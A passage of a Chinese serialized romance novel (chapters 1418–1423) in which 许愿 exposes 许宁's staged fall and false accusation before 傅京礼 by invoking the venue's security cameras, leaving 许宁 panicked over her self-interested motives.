许愿的声音渐渐提高,带着一丝锐利:“你之所以这么愤怒,这么偏执,是因为你心底清楚自己的不足,可你不敢面对。你不敢承认自己在傅京礼面前不够好,不敢承认你们之间的感情其实很脆弱,所以你才需要找一个‘替罪羊’,需要把我当成你失败的理由。可你有没有想过,真正的问题在你们自己身上?你和傅京礼之间,是不是真的有那么牢固的信任?你是不是真的了解他,他也真的了解你?” 许宁被这番话刺激得浑身发抖,她猛地抬起手,想要指着许愿,可手刚抬到一半,脚踝处的剧痛就让她倒吸一口凉气,声音愈发尖利:“你胡说!我们之间感情很好!傅京礼对我很好!他不会离开我的!都是你!都是因为你出现了,他才会……才会……” 她的话说到一半,声音突然哽咽,眼泪流得更凶了,可眼底的偏执却丝毫没有减弱,“我告诉你许愿,你别想破坏我们!我绝对不会让你得逞的!哪怕我摔断了腿,我也不会让你靠近傅京礼一步!” 她看着许愿,眼底满是疯狂的占有欲:“你刚才说你和傅京礼早就说清楚了,那又怎么样?说不定他只是嘴上说说,心里还是喜欢你的!你就是故意装出一副不在乎的样子,就是为了让我放松警惕!我告诉你,我不会上当的!我绝对不会让你有机会的!” 许宁的声音带着歇斯底里的疯狂,像是被逼到绝境的野兽,用最后的力气嘶吼着。 她看着许愿那平静的脸,只觉得那里面满是嘲讽,满是对她感情的践踏,这让她愈发愤怒:“你凭什么!你凭什么说我的出身和学历?你又有什么了不起的?你不就是长得好看一点吗?不就是有个盛景炎吗?你以为你真的很优秀吗?你不过就是仗着自己的外貌和盛景炎的喜欢,才敢这样跟我说话!你这个虚伪的女人!” 她的声音里带着嫉妒与不甘,像是要把所有的愤怒都倾泻出来。 脚踝处的剧痛让她浑身发抖,可她依旧死死盯着许愿,仿佛只要许愿敢靠近一步,她就会再次冲上去撕扯。她的眼泪不停地流,却丝毫没有减弱她的疯狂,反而让她的偏执愈发浓烈。 在她心里,只要能留住傅京礼,哪怕自己摔得再惨,哪怕付出再大的代价,都是值得的。 许愿看着许宁那副疯狂又偏执的模样,心底的疲惫愈发浓重。 她摇了摇头,语气里带着一丝无奈与清醒:“许宁,你到现在还在逃避。你觉得我是在说你的出身和学历?” 第1418章 冤枉 “我只是在说一个事实,你心里清楚自己的不足,可你不敢面对,所以才用愤怒和偏执来掩盖。可感情不是靠偏执就能维系的,也不是靠将错误推给别人就能长久的。你和傅京礼之间,如果真的有信任,有了解,根本不需要担心我的存在。可你现在这样,恰恰说明你心底清楚,你们之间的问题,不是我能左右的。” 许愿一次次敲击着许宁的理智:“我再说一遍,我和傅京礼之间早就结束了,我有自己的感情,我有盛景炎,我不会去破坏别人的感情,更不会去勾搭傅京礼。你要是再这样无理取闹,再这样偏执下去,最后受伤的只会是你自己。而且,我不会再容忍你这样对我你要是再敢来纠缠我,别怪我不客气。” 说完,许愿不再看许宁一眼,转身快步离开。 高跟鞋踩在地上的声音清脆又决绝,像在宣告这场闹剧的彻底结束。 而许宁则靠在冰冷的墙壁上,看着许愿离去的背影,浑身颤抖着,眼泪不停地流,嘴里还在低声咒骂着,眼底的疯狂与不甘像一团永不熄灭的火焰,灼烧着她的心。 脚踝处的剧痛让她浑身发抖,可她依旧死死盯着许愿离开的方向,仿佛只要她盯着,就能将许愿拉回这场感情的漩涡里。 许愿的脚步刚迈出几步,身后那声调骤然转变的呜咽便像一根细针,猝不及防地刺破了走廊里残留的紧张余韵。 方才还充斥着疯狂与偏执的嘶吼,此刻竟瞬间化作了一种极致的委屈与可怜,声音轻颤得像风中摇曳的烛火,带着近乎卑微的乞求,仿佛下一秒就要被无边的绝望吞噬。 那不是许宁平日里的模样,是刻意堆砌的柔弱,是演给谁看的可怜相,偏偏又透着几分刻意到刺眼的违和。 “这很不对劲。”许愿忍不住皱眉,指腹下意识地摩挲过掌心方才擒住许宁手腕时留下的浅淡红痕,心底泛起一丝难以言喻的不适。 她向来了解许宁,她平日里绝不会轻易露出这般姿态,除非……是为了在某个人面前扮演受害者。 这个念头刚在脑海里浮现,她便猛地转身,目光如炬般扫向声音的源头。 视线落定的瞬间,许愿的瞳孔微微一缩,心底那丝恍惚如同投入湖面的石子,漾开一圈圈难以平复的涟漪。 只见傅京礼不知何时已出现在许宁身边,身形高大挺拔,黑色西装衬得他肩线利落,俊美的面容在走廊偏暗的灯光下显得愈发深邃,往日里那双总是带着几分疏离与淡然的眼眸,此刻却满是毫不掩饰的在意,甚至单膝跪在地上,一手稳稳地扶着许宁的肩膀,另一只手还试图去查看她崴伤的脚踝,动作间满是小心翼翼的呵护。 这一幕狠狠砸在许愿的心头。 她看着傅京礼那专注的神情,看着他眉宇间毫不掩饰的关切。 下一秒,许宁的动作彻底打破了这份恍惚。 她像是终于找到了依靠的雏鸟,猛地扑进傅京礼的怀里,双臂紧紧环住他的脖颈,将脸埋在他颈间,带着哭腔的声音颤抖着响起,每一个字都裹着委屈与控诉:“阿礼哥哥,你终于来了……如果你再不来,我就要被许愿欺负死了!” 那声音刻意放得轻软,带着极致的可怜,仿佛她才是那个被全世界抛弃的受害者,而许愿,便是那个施加痛苦的恶魔。 许宁的身体还在微微发抖,不知是因为脚踝的疼痛,还是因为这刻意营造的委屈,泪水顺着脸颊滚落,浸湿了傅京礼的西装领口,留下一片深色的痕迹。 傅京礼的眉头瞬间拧紧,眼中闪过一丝不易察觉的冷意,扶着许宁的手紧了紧,沉声开口:“别怕,我在这里,没人能欺负你。” 他的声音低沉而温和,与平日里对许愿说话时的疏离截然不同,带着一种令人安心的力量,却又让许愿的心底泛起一阵莫名的刺痛。 而许宁,见傅京礼如此在意,眼底深处飞快地掠过一丝不易察觉的得意,随即又换上那副可怜兮兮的模样,开始添油加醋地诉说起来:“阿礼哥哥,真的是许愿!她故意来包厢外面找我,说我抢了她的傅京礼,还说我配不上你!我跟她理论,她就直接把我推到地上,我的脚踝都崴了,鞋子也断了……她就是故意的,她就是想把你从我身边抢走!她明明有盛景炎,为什么还要来跟我抢你?她怎么可以这么过分!” 她一边说,一边抬起手,用袖口擦了擦眼泪,指尖还故意碰了碰崴伤的脚踝,发出一声轻哼,像是在强调自己的伤势有多严重:“你看,我的脚踝都肿了,好疼啊……阿礼哥哥,我真的好害怕,我以为她会一直欺负我,还好你来了……” 许宁的声音断断续续,每一句都精准地戳中傅京礼可能在意的点。 许愿的“恶意”、她的“无辜受害”、以及那句“许愿想抢傅京礼”,将一场原本由她自己挑起的冲突,彻底扭曲成了许愿蓄意的霸凌。 她的语气里满是委屈与恐惧,仿佛许愿是个穷凶极恶的恶魔,而她,只是个被无辜牵连的可怜女孩,全然忘了方才自己挥舞着巴掌、疯狂怒吼的模样。 傅京礼听着,眼神愈发冷冽,抬头朝许愿的方向看了一眼,那目光里带着一丝审视与不悦,却没有立刻开口,只是将许宁扶得更稳了些,轻声安抚道:“别担心,我会处理好的。先让我看看你的脚踝,疼不疼?” 许宁顺势将受伤的脚踝往傅京礼面前挪了挪,声音愈发可怜:“疼……阿礼哥哥,你帮我看看,会不会断了啊……” 而许愿,就站在不远处,看着这一幕,看着傅京礼对许宁的呵护,看着许宁那刻意编织的谎言,心底那丝恍惚渐渐褪去,取而代之的是一种平静的冷漠。 她没有辩解,也没有愤怒,只是静静地站在那里,像一个旁观者,看着这场由谎言与表演构成的闹剧。 她曾深陷其中,如今却终于能以局外人的视角,看清这所有的情绪与纠葛。 第1419章 确实做什么都是错的 许愿的目光落在傅京礼身上,她看着他单膝跪地时衣料褶皱的走向,看着他扶着许宁肩膀时指节微微泛白的力道,看着他眉宇间那从未对自己展露过的、带着温度的在意。 许愿突然觉得,那个曾经隔着疏离屏障的男人,此刻竟褪去了几分冰冷的距离感。 以往的傅京礼,对谁都带着一种近乎刻板的疏离。 在包厢里,哪怕只是短暂的交流,许愿也能清晰地感知到他的回应永远恰到好处却不过界,眼神永远停留在礼貌的范围内,语气里没有丝毫多余的起伏。 他像一座被薄冰包裹的山峰,让人能看见轮廓,却触不到温度。 可此刻,当他的目光落在许宁身上,那层冰仿佛被春阳悄然融化,眉梢眼角的冷淡被温柔取代,动作里带着的小心翼翼,是只有在意时才会流露的柔软。 这种反差如此明显,像一束光突然照进常年阴暗的角落,让许愿心底忍不住生出疑问。 他好像只有在对上许宁的时候,才会这样吗? 是因为喜欢,因为在意,所以才会卸下防备,露出这样的一面? 这个念头刚冒出来,许愿便轻轻蹙了蹙眉,心底泛起一阵矛盾的涟漪。 明明已经决定放下,明明告诉自己傅京礼与她再无瓜葛,可当看到他为另一个女孩流露温柔时,她的心还是不可控制地乱了。 不是嫉妒,不是不甘,而是一种复杂的情绪。 像是看着曾经属于自己的风景,如今被另一个人温柔以待,心底既有释然,又有一丝难以言说的怅然。 她曾以为自己早已看透,早已斩断了所有牵绊,可此刻的恍惚却像一面镜子,照出她心底尚未完全消散的执念。 毕竟,那是她曾用尽真心喜欢过的男人,说完全不在乎,不过是自欺欺人的玩笑罢了。 许宁靠在傅京礼怀里,眼角还挂着未干的泪痕,像沾了露水的花瓣,可怜兮兮的模样惹人怜惜。 可当她的目光悄悄扫向许愿时,眼底深处却藏着一抹藏不住的得意,像暗夜里闪烁的星子,带着挑衅的意味。 那目光落在许愿脸上时,分明在说“你看,他只在意我”,可转头看向傅京礼时,又瞬间换回那副受尽委屈的模样,颤抖着声音开口:“阿礼哥哥,你别生气,都是我的错……我不怪阿愿姐姐,是我自己没站稳才会摔倒的。” 她的声音低得像细碎的呢喃,带着怯生生的委屈,仿佛生怕自己的一句话会让傅京礼责怪许愿。 那副“一切都是我的错,姐姐没错,都是我不好”的姿态,摆得如此明显,小心思都写在了脸上,无非是想让傅京礼觉得许愿蛮横无理,而她则是那个受尽委屈还替别人着想的可怜人,借此让许愿难堪,让傅京礼彻底站在她这边。 许愿看着这一幕,心底泛起一丝凉意。 她太了解许宁了,这种刻意的“大度”,不过是更精明的算计罢了。 她看着许宁那副模样,又看了看傅京礼皱眉关切的眼神,心底突然涌起一阵疲惫。 她在乎吗?其实有点在乎。 不是在乎许宁的算计,而是在乎傅京礼此刻的反应。 她想知道,他会相信谁的话,会在意谁的感受。 毕竟,那是她曾在意过的男人,哪怕如今已放下,心底还是会忍不住在意他的看法,哪怕这份在意,早已不再是当初的悸动,而是对一段过往的释然与审视。 她缓缓抬起眼,目光再次落在傅京礼脸上,似乎想从他的眼神里读懂他的心思。 傅京礼此刻也在看着她,那双往日里疏离的眼眸,此刻带着一丝复杂的情绪,有疑惑,有审视,还有一丝不易察觉的恍惚。 他似乎也在好奇,许愿为何会如此平静,为何没有反驳,为何会用这样的眼神看着他。 四目相对的瞬间,空气仿佛凝固了。 许愿的唇角缓缓勾起一抹极淡的笑,那笑意很浅,像冬日里掠过湖面的微风,没有丝毫温度,带着一种刻意的疏离感。 那笑容仿佛在此刻映照出曾经傅京礼对她的模样,礼貌而疏远,不带一丝多余的情绪,像隔着一层透明的屏障,让人触不到真心。这抹笑意落在傅京礼眼中,让他先是一怔,眼底的恍惚更浓了几分。 他似乎从未见过许愿用这样的眼神、这样的笑容看他,一时间竟有些失神,心底生出一丝莫名的空落。 许宁敏锐地察觉到两人之间的眼神交流,心底警铃大作,生怕傅京礼被许愿的“淡漠”迷惑,立刻飞快地开口,想要打断这场对视:“阿礼哥哥,我不怪阿愿姐姐,一切都是我的错!是我自己不小心,才会摔倒的,姐姐没有推我,真的不是姐姐的错!” 她一边说,一边紧紧抓住傅京礼的衣袖,仿佛生怕他会因为许愿而责怪自己,那副小心翼翼的模样,更让人心生怜惜。 傅京礼垂眸看着怀里的许宁,眼底的冷意稍稍褪去,刚要开口安抚,却见许愿笑了。 那笑容依旧很淡,像冬日里穿透云层的阳光,虽不炽热,却带着清晰的边界感。 她看着许宁,语气平静得像在陈述一个再简单不过的事实:“嗯,那我是不是还要感谢你不怪我呢?” 不等许宁反应,许愿继续开口,声音里带着一丝淡淡的锐利:“你说得没错,你这样的出身,确实做什么都是错的。” 这句话带着毫不掩饰的尖锐。 她没有刻意压低声音,也没有回避傅京礼的目光,而是直视着他,眼底没有丝毫情绪波动,仿佛只是在说一个客观的事实。 不是出于嫉妒,也不是出于愤怒,而是像在评价一件无关紧要的事,带着一种清醒的疏离。 许宁的脸色瞬间变得苍白,眼底的得意被愤怒取代,她猛地抬起头,看向许愿,声音颤抖:“你……你凭什么这么说?!我的出身怎么了?你别以为你有盛景炎,就可以看不起我!” 第1420章 有什么推你的理由 许愿看着她,眼神平静得像一潭深水:“我没有看不起你,我只是在说一个事实。你出身普通,学历一般,这些都不是你的错,但你却因为这些不足,而对别人心生嫉妒,将感情里的失败归咎于别人,甚至不惜编造谎言来算计别人,这才是你错的地方,不是吗?” 傅京礼看向许愿,眼神里带着一丝探究,似乎想从她平静的面容下,读懂她真正的想法。 可许愿却只是淡淡地回视着他,那眼神里没有委屈,没有愤怒,只有彻底的平静,像冬日里的冰面,清晰而透明,却又让人无法靠近。 傅京礼心底的空落更浓了几分,他突然意识到,眼前的许愿,似乎真的变了。 许宁见傅京礼沉默,心底愈发慌乱,立刻抱着他的手臂,声音带着哭腔:“阿礼哥哥,你别听她胡说!我……我怎么会嫉妒她?我……我只是……只是不想让你误会她……” 她的话说得断断续续,带着刻意的委屈,可眼底的慌乱却出卖了她。 许愿看着这一幕,心底没有丝毫波澜,只是淡淡地开口:“许宁,你不用再演了。你心里想什么,我清楚,傅京礼也清楚,你不过是想让他觉得我是那个蛮横无理的人,而你是那个受尽委屈的可怜人,对吗?可感情不是演戏,不是靠谎言和算计就能维系的。你和傅京礼之间,如果真的有信任根本不需要这些手段,可你如今这样做,恰恰说明你心底清楚,你们之间的感情其实很脆弱,对吗?” 她的声音依旧平静,却像一把锋利的刀,精准地刺中了许宁心底最脆弱的地方。 许宁的脸色愈发苍白,嘴唇颤抖着,说不出一句话,只能紧紧抓着傅京礼的手臂,仿佛那是她唯一的依靠。 傅京礼看向许愿,眼神里带着一丝复杂,似乎想说什么,可最终只是轻轻叹了口气,没有开口。 许愿看着他的沉默,心底最后那丝涟漪也渐渐平复。 她知道,傅京礼此刻的沉默,或许是一种默认,或许是一种反思,但无论哪种,都与她无关了。 她曾在意过他,可如今,她更在意的是自己的清醒与坚定。 许宁见傅京礼沉默,心底愈发慌乱,立刻又开口:“阿礼哥哥,我真的没有撒谎,真的是许愿推了我,她还……” “够了。”傅京礼突然开口,声音里带着一丝疲惫,打断了许宁的话。 他看着许宁,眼神里没有了之前的怜惜,多了几分严肃:“许宁,你不用再说了。” 许宁愣住了,眼底满是不可置信,她看着傅京礼,声音颤抖:“阿礼哥哥,你……你为什么不相信我?真的是许愿……” 不等傅京礼开口,许愿却又笑了。 她微微歪了歪头,目光像淬了冰的银针,精准地落在许宁脸上,唇角扬起的弧度很明显,带着毫不掩饰的笑意,可那笑意却像冬日里结在窗棂上的冰花,透着彻骨的嘲弄,没有一丝温度,反而像细碎的冰渣,扎得人眼眶发疼。 那抹笑意太明显,太直白,映出许宁所有刻意伪装的脆弱与不堪,将她心底那些见不得光的算计都摊开在傅京礼面前,没有丝毫遮掩。 许宁被这样的笑意狠狠刺中,像被人当众剥开了精心缝制的伪装,心脏猛地一缩,血液瞬间冲上头顶,脸颊瞬间涨得通红,眼底的泪意还没褪去,又被愤怒染得发红。 她看着许愿那副从容又嘲弄的模样,只觉得自己的尊严被狠狠踩在脚下,连呼吸都变得急促起来,指甲不自觉地掐进掌心,留下深深的月牙印,却浑然不觉疼痛。 她死死盯着许愿,仿佛要用眼神将她撕碎,可傅京礼还在身边,她只能强忍着心底的狂躁,声音带着不易察觉的颤抖:“你……你笑什么?你凭什么这么说我?” 许愿看着她那副强忍怒火却装可怜的模样,笑意更深了几分,眼底的嘲弄也愈发明显。 她缓缓开口,声音像浸了冰的泉水,清晰又冰冷:“许宁,你这些小伎俩,真的太过于可笑了。”你以为靠这点装委屈、编谎言的手段,就能让傅京礼站在你这边?就能让我难堪?未免太天真了。” 许宁猛地一怔,像是被戳中了心底最隐秘的角落,脸上瞬间闪过一丝慌乱,可随即又强撑着倔强,梗着脖子反驳道:“什么小伎俩?我没有!我刚才说的都是真的!就是你推了我!为什么要怪我?你……你不要血口喷人!” 许愿轻笑一声,那笑声像冬夜里掠过的寒风,带着刺骨的凉意。 她看着许宁,眼底没有丝毫情绪波动,只有纯粹的审视,像在看一个跳梁小丑:“请问我有什么推你的理由吗?” 她顿了顿,目光扫过许宁那精心打扮却显得刻意的衣着,语气淡淡的,明明感觉不到对她的轻蔑,但就是会让许宁觉得自己被侮辱了。 “碰你我不会觉得脏吗?一个小三的女儿,我还不至于上心到去针对你。” 她一字一顿,说得清晰又笃定,直接剖开了两人之间最尖锐的身份差异,“对你,我只是会无视,仅此而已。你在我眼里,连值得我针对的资格都没有。” “你!”许宁的脸色瞬间变得惨白,像是被人狠狠扇了一巴掌,身体控制不住地颤抖起来。 她瞪大了眼睛,眼底的愤怒像燃烧的火焰,几乎要喷薄而出,牙齿咬得咯咯作响,几乎要把牙龈咬碎。 她看着许愿那副高高在上、仿佛俯视蝼蚁的模样,只觉得一股热血直冲头顶,眼眶瞬间红得像要滴血,眼泪不是因为委屈,而是因为被羞辱到极致的愤怒。 她想冲上去撕扯许愿的脸,想大声反驳,可傅京礼就在身边,她只能死死攥着衣角,指甲几乎要嵌进布料里,声音颤抖得不成样子,“你……你凭什么这么说?你有什么资格提我的出身?!” 许愿看着她那副气急败坏却还要装可怜的模样,眼底的笑意愈发明显,可那笑意里却没有丝毫温度,只有冰冷的嘲弄。 第1421章 靠谎言维系的感情 她越是笑,许宁就越是气愤,仿佛许愿的每一个表情都在放大她的难堪,每一句话都在践踏她的自尊。 许宁只觉得胸口像堵了一团烧红的炭,又烫又痛,连呼吸都变得困难,只能死死盯着许愿,仿佛要用眼神将她钉在原地。 傅京礼站在一旁,看着许愿那带着嘲弄的笑容,眼底的复杂情绪愈发浓重。 许宁碍于傅京礼在场,只能强忍着心底的狂躁,压抑着怒火,声音带着哽咽,却依旧试图反驳:“你……你当然会针对我!你不用一直用身份来说事来贬低我!盛景炎和阿礼哥哥谁更优秀,稍微动动脑子都知道!”她故意提起盛景炎,想用身份的对比来反击,眼底带着一丝挑衅,仿佛在说“你看,我选的傅京礼比你选的盛景炎优秀,所以你才会嫉妒我”,试图将矛盾引向“身份竞争”,掩盖自己算计的本质。 许愿听着她的话,只觉得愈发可笑。 她看着许宁那副自以为是的模样,缓缓开口,声音依旧平静,却带着不容置疑的笃定:“第一,我没有时间针对你。”她顿了顿,目光落在许宁脸上,带着一丝淡淡的嘲讽,“我的时间很宝贵,不会浪费在一个无关紧要的人身上。第二,我没有来贬低你,我说的是事实。” 她的眼神平静得像一潭深水,没有丝毫波澜,“你的出身,你的行为,都是客观存在的事实,我只是陈述而已,何来贬低?第三,在你眼里傅京礼优秀,在我眼里,盛景炎更优秀。” 她语气坚定,没有丝毫犹豫,像在陈述一个再简单不过的事实,仿佛在说“我的选择与你无关,你不必用他的优秀来证明自己的价值”。 她顿了顿,目光扫过傅京礼,又落回许宁脸上,眼底带着一丝淡淡的锐利:“第四,我不会抢走傅京礼。”这句话说得清晰又果断,“傅京礼未来的妻子也不一定会是你,做梦也要有个度。”她的语气带着一丝淡淡的怜悯,仿佛在看一个不切实际的痴人说梦者,“小三的女儿本就难登大雅之堂,傅家的主母绝对不会是小三的女儿,这是傅家的规矩,也是社会的现实,你难道不清楚吗?” 许宁的脸色瞬间变得惨白,像是被狠狠抽了一巴掌,所有的血色都褪得干干净净,只剩下一片死寂的苍白。 她瞪大了眼睛,眼底的愤怒被震惊与恐惧取代,身体控制不住地颤抖起来,连嘴唇都在发抖。 她看着许愿,仿佛在看一个恶魔,那句话精准地刺中了她心底最脆弱的地方。 她一直知道自己的出身是短板,一直害怕因为出身被傅家排斥,可如今,许愿却当着傅京礼的面,将这个短板赤裸裸地摊开,还说“傅家的主母绝对不会是小三的女儿”,这句话砸碎了她心底所有的侥幸。 许愿看着她那副震惊又恐惧的模样,语气依旧平静,却带着一丝淡淡的压迫感:“如果你真的喜欢傅京礼,那你就应该为他着想,主动离开他,而不是继续黏在他身边,逼着他给你名分呢,对不对?”她微微歪了歪头,眼神里带着一丝探究,仿佛在看一个值得同情的可怜人,“许宁,你这么喜欢傅京礼,你能懂的,对吗?” 这句话像最后一根稻草,彻底压垮了许宁的防线。 她被怼得不敢吱声,眼底的愤怒被恐惧与绝望取代,眼泪终于忍不住滚落,却不是委屈的泪水,而是被羞辱到极致的不甘与绝望。许愿的话说得太明白了。 喜欢他,就该为他着想,主动离开,不离开,就是自私,就是看中他的身份,就是不配。 许宁看着傅京礼,想从他脸上看到一丝怜惜,可傅京礼却只是沉默地看着,眼底带着一丝复杂的情绪,没有反驳,也没有安慰,那份沉默像一盆冷水,彻底浇灭了她心底最后的希望。 许宁只觉得浑身发冷,连指尖都在颤抖,她看着许愿,眼底满是恨意,可却不敢再开口反驳。 她怕自己一开口,就会暴露更多的软弱,就会让傅京礼彻底失望。 她只能死死咬着嘴唇,将所有的不甘与愤怒都咽进肚子里,牙齿几乎要咬碎,眼底的恨意像毒蛇一样缠绕着,只等着傅京礼离开,就冲上去撕咬许愿,将她此刻的嘲弄与羞辱都还回去。 许愿看着她那副强忍愤怒却不敢吱声的模样,心底没有丝毫波澜,只有彻底的平静。 她看着许宁眼底的恨意,像看着一场无关紧要的闹剧,那份清醒与疏离,像一层透明的屏障,将她与这场混乱彻底隔开。 她缓缓开口,语气带着一丝淡淡的疲惫:“许宁,你不用再用这种委屈又愤怒的眼神看着我了。你心里想什么,我清楚,傅京礼也清楚。” 她顿了顿,目光扫过两人,眼底带着一丝淡淡的怜悯,“你和傅京礼之间的问题,不是谎言和算计能解决的。如果你真的在意他,就该坦诚,如果只是看中他的身份,那我劝你趁早放弃,因为靠谎言维系的感情,未来是一定会崩塌的。” 许宁看着许愿,眼底的恨意愈发浓烈,像燃烧的火焰,几乎要将她吞噬。 她看着傅京礼,声音带着哽咽,却依旧试图挽回:“阿礼哥哥,你别听她胡说!她……她就是嫉妒我,嫉妒你选了我而不是她!” 许愿又在笑了,她唇角扬起的弧度愈发明显,眼底却像覆了一层极地的寒霜,没有丝毫暖意,只有一片冷冽的审视。 那笑声让许宁整个人从内到外都开始剧烈颤抖。她攥紧的拳头里,指甲深深嵌入掌心,刺痛顺着指尖蔓延到心脏,可那点生理的痛远不及心理的煎熬。 她现在是真的很想冲过去,用指甲划花许愿那张带着嘲弄的脸,让那副从容的姿态彻底崩塌,让那双冰冷的眼睛里盛满恐惧。 可傅京礼还在身边,那道无形的枷锁死死禁锢着她,让她只能把所有的暴怒都压在喉咙里,像吞了滚烫的炭火,灼得她胸口发疼。 第1422章 谎言 许愿一字一句清晰地问道:“你还是执意要撒谎,说我嫉妒你吗?” 每一个字都带着沉甸甸的重量,把“撒谎”与“嫉妒”这两个词钉在两人之间,逼着许宁直面自己的谎言。 许宁猛地抬头,眼底的怒火几乎要烧穿许愿的伪装,声音带着压抑不住的尖锐与颤抖:“我不是在撒谎!” 她几乎是喊出来的,仿佛用尽全力才能维持住这句反驳的力度,“你就是嫉妒我,嫉妒阿礼哥哥选择了我而不是你!你心里不平衡,所以才故意这么说,想让我难堪!” 她的声音在空旷的走廊里回荡,带着歇斯底里的脆弱,试图用更强烈的指控来掩盖自己内心的慌乱,仿佛只要坚持这个说法,就能把谎言变成“真相”。 许愿听着她的反驳,没有丝毫动怒,反而轻笑出声。 那笑声比刚才更轻,却更冷,像冬日里掠过枯枝的风,带着刺骨的穿透力。 她缓缓开口,语气里带着一种居高临下的从容,又像在阐述一个显而易见的事实:“这里是华庭。” 她刻意放慢语速,目光扫过四周奢华的装饰与隐秘的角落,“许宁,你了解华庭吗?” 她刻意停顿了一下,“这里的每一处设计,每一个细节,都不是为了‘意外’而存在,而是为了‘秩序’与‘真相’。” 许宁一时没开口,她顺着许愿的目光看向四周。 华庭的走廊铺着昂贵的羊毛地毯,墙壁上镶嵌着低调的金属装饰,天花板上垂落的水晶灯散发着柔和的光,可那些光亮里,似乎藏着看不见的眼睛。 她突然想起之前听人提过,华庭作为顶级社交场所,安全监控遍布每一个角落,连楼梯转角的缝隙都不放过。 她的心脏猛地一沉,像坠入了冰窖,刚才还强撑的愤怒瞬间裂开一道缝隙,露出底下慌乱的底色。 许愿看着她眼底一闪而过的慌乱,笑意更深了几分。 她向前逼近一步,距离许宁更近,声音压低了几分,却带着更清晰的穿透力:“这里到处都是监控。” 她每一个字都咬得极重,像在敲击着许宁的心理防线,“从你走进华庭大门的那一刻起,你的每一个动作,每一句话,都被记录得清清楚楚。” 她微微挑眉,目光直视许宁的眼底,带着一种不容置疑的笃定,“其实你是不是在说谎,只要调出监控,一目了然,谁摔倒了,是谁伸出了手,谁说了什么话,监控里都会记得清清楚楚,不会有任何偏差。” 她顿了顿,故意放缓了语速:“许宁,需要我把监控调出来看看,是谁在说谎吗?” 最后几个字,她几乎是一字一顿地说出来,眼神里带着一种近乎残忍的从容,像猎人看着困在陷阱里的猎物,早已看透对方所有的挣扎与恐惧。 许宁听到这话,脸色顿时惨白得像一张浸了水的纸,毫无血色。 她瞳孔骤然收缩,眼底的慌乱再也藏不住,像受惊的兔子般四处乱撞。 她下意识地后退了一步,身体撞在冰冷的墙壁上,寒意顺着后背蔓延开来,让她忍不住打了个寒颤。 刚才还强撑的愤怒与强硬,在“监控”两个字面前,瞬间土崩瓦解。 许宁比任何人都清楚,自己刚才的谎言有多经不起推敲,那根本就是无中生有的拙劣把戏,像用薄纸糊成的堡垒,看似能挡住风雨,实则一阵轻风就能让它轰然倒塌。 她所谓的“被推”,不过是在傅京礼出现前精心设计的戏码,故意放缓脚步靠近许愿,然后借着地毯的松软佯装踉跄,再在摔倒的瞬间发出恰到好处的惊呼,所有动作都算计得精准,只为让傅京礼看见时,能立刻生出怜惜,转身责备许愿的“莽撞”。 可她忘了,华庭的监控从不是为谎言准备的遮羞布,而是为真相准备的镜子,每一帧画面都会清晰地记录下她每一个刻意的动作。 靠近时故意放慢的脚步、佯装摔倒时微微扭曲的嘴角、甚至眼底一闪而过的算计,那些她自以为隐蔽的细节,在高清镜头下都无所遁形,会像放大的幻灯片一样,被清晰地呈现在所有人眼前。 此刻,当许愿轻描淡写地说出“调出监控看看是谁在说谎”时,许宁的心脏像被一只冰冷的手狠狠攥住,骤然收缩到极致,连血液都仿佛凝固了。 她突然意识到,自己刚才所有的挣扎与指控,都成了这场戏里最可笑的注脚。 她越是歇斯底里地辩解,越是强调“许愿嫉妒自己”,就越显得自己像一个为了争夺男人而失去理智的疯子,而监控一旦被调出,所有的谎言都会被戳破,她苦心经营的“可怜、无辜”的形象,会瞬间变成“满心算计、不择手段”的丑陋模样。 更让她恐慌的是,傅京礼就站在旁边,那个她倾尽所有、满心满眼都想留住的人,会亲眼看着自己从“受害者”变成“施害者”,看着她所有精心伪装的柔软都化作赤裸裸的虚伪。 她知道自己在看到傅京礼的时候,会立刻做出一副可怜巴巴的样子,那是一种刻在骨子里的本能,是她多年来在情感里摸索出的“生存法则”:用委屈的眼泪、颤抖的肩膀、怯生生的语气,去唤起男人的怜惜与保护欲。 她曾靠这样的姿态,在无数个类似的场景里占得先机,让傅京礼一次次站在她这边,替她出头,替她教训那些“欺负”她的人。 可这一次,她突然无比清醒地知道,这样的姿态在真相面前有多可笑,甚至有多丑陋。 她能想象到,当监控画面播放时,自己刚才那副眼泪汪汪、控诉许愿的模样,会显得多么虚假,多么令人厌烦。 那不是委屈,而是算计,不是无辜,而是心机,而傅京礼会看穿这一切,会知道她为了留住他,连尊严都可以踩在脚下,连谎言都可以编得如此熟练。 这种清醒的认知像无数根细针,密密麻麻地扎在她的心上,让她从内到外都感到一阵阵发冷。 第1423章 慌得六神无主 她害怕极了,怕傅京礼会用一种陌生的眼神看她。 不是以往的温柔,不是偶尔的无奈,而是带着厌恶、失望,甚至是轻蔑的眼神。 她怕他会想起过往那些被自己用谎言“骗”过的瞬间,怕他会怀疑自己所有的温柔与依赖都是伪装,怕他会突然意识到,自己不是一个值得被真心对待的人,而是一个满心算计、不择手段的“麻烦”。 她怕他会想:“原来她之前所有的委屈,都是装出来的?原来她靠近我,不是因为喜欢我,而是因为想要我的身份、我的资源?” 这种恐慌像潮水一样,从脚底漫上来,淹没了她的四肢,堵住了她的喉咙。 她下意识地后退一步,后背撞在冰冷的墙壁上,寒意顺着衣料渗入皮肤,却比不上她内心的恐慌半分。 她双手紧紧攥着衣角,指节因为用力而泛白,身体控制不住地颤抖,连牙齿都在轻轻打颤。 不是因为冷,而是因为恐惧。 她不敢抬头看傅京礼,不敢去看他的眼睛,怕在那双眼睛里看到自己最害怕的神情,她也不敢看许愿,怕看到对方眼底那早已预料到一切的嘲弄,那会让她觉得自己像个跳梁小丑,所有的挣扎都成了笑话。 她甚至开始回忆起过往的点点滴滴,那些她以为能打动傅京礼的瞬间,在他加班时送的热咖啡,在他生病时守在床边的夜晚,在他遇到麻烦时故作坚强的安慰。 那些她曾以为是“真心”的付出,此刻都像被蒙上了一层灰。 她突然害怕起来,怕傅京礼会把这些也当成算计,怕他会觉得,自己所有的温柔都是为了“拴住他”,所有的付出都是为了“得到他”,而没有一丝一毫是纯粹的喜欢。 她怕他会想:“原来她对我好,都是有目的的,她根本不是爱我,只是爱我的身份,爱傅家的资源。” 她这样慌张就是因为许宁自己心里清楚,她一直爱着的都是傅家的资源,她爱着的好像从来不是傅京礼这个人,如果傅京礼没有傅家的资源,她是绝不会去靠近傅京礼的。 所以说现在许宁怕了。 她心里清楚自己的爱根本经不起推敲。 这种害怕像藤蔓一样,缠绕着她的心脏,越收越紧,让她几乎喘不过气来。 她的眼泪终于忍不住滚落,却不是为了委屈,而是因为绝望,为了自己亲手毁掉的一切,为了自己即将失去的傅京礼的信任。 